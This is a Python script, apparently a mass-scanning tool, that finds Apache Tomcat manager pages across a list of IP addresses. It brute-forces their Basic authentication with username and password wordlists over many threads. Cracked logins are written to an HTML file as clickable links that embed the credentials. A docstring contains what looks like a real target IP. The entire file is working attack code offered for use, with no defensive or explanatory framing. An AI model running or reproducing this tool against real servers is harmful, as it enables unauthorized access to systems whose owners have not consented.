from requests import post,get
from requests.exceptions import ConnectTimeout
from threading import Thread,active_count,Lock
from  time import sleep
from os import  system
from sys import argv
from base64 import b64encode
from urllib.parse import urlparse
headers ={
    'Authorization':'',
    'Accept-Encoding':'gzip, deflate',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    'Connection':'keep-alive',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36'
}
global get_lock,authorizations
get_lock = Lock()
def Tomcat(ip,port):
    'http://221.238.227.43/manager/html'
    try:
        tomcat = get('http://%s:%s/manager/html' % (ip,port),timeout=10,headers=headers)
        if 'Apache-Coyote' in tomcat.headers['Server'] and tomcat.status_code == 401:
            if get_lock.acquire():
                url = tomcat.url
                tomcat.close()
                # with open('Tomcat_%s.txt' % port,'a+') as f:
                #     f.write(ip.strip()+'\n')
                get_lock.release()
                brust(url)
    except Exception as e:
        # print(e)
        pass
def mk_au():
    global authorizations
    authorizations = []
    for u in open('tomcat_u.txt').readlines():
        for p in open('tomcat_p.txt').readlines():
            raw_au = '%s:%s' % (u.strip(), p.strip())
            authorizations.append(
                (
                    b64encode(raw_au.encode('utf-8')),
                    raw_au
                )
            )
def brust(url):
    if len(authorizations) == 0:
        print('请放入字典')
        return
    headers['host'] = urlparse(url)[1]
    for encry,raw in authorizations:
        headers['Authorization'] = 'Basic %s'  % encry.decode('utf-8')
        try:
            response = get(url,headers=headers,timeout=10)
            print(urlparse(url)[1],raw,encry.decode('utf-8'),response.status_code)
            if response.status_code == 200 and response.text.count('Tomcat Web Application Manager'):
                response.close()
                url = "<a href='http://{authrorization}@{netloc}/manager/html' target='_blank'>http://{authrorization}@{netloc}/manager/html</a><br>".format(
                    authrorization= raw,
                    netloc= urlparse(url)[1]
                )
                with open('Tomcat_good.htm','a+') as f:
                    f.write(url+'\n')
                return
        except Exception as e:
            pass
def main(*kw):
    text,port,thread =kw
    mk_au()
    total = len(open(text).readlines())
    for x in open(text).readlines():
        tomcat = Thread(target=Tomcat,args=(x.strip(),port))
        tomcat.setDaemon(True)
        total -= 1
        while True:
            if active_count() == 1 and total == 0:
                break
            elif active_count() < int(thread):
                if total == 0:
                    sleep(5)
                else:
                    tomcat.start()
                    system('title left=%d active_count:%d' % (total,active_count()))
                    break
if __name__ == '__main__':
    global authorizations
    if len(argv) == 4:
        main(*argv[1:])
    else:
        print('参数错误')
        exit(-1)
    # mk_au()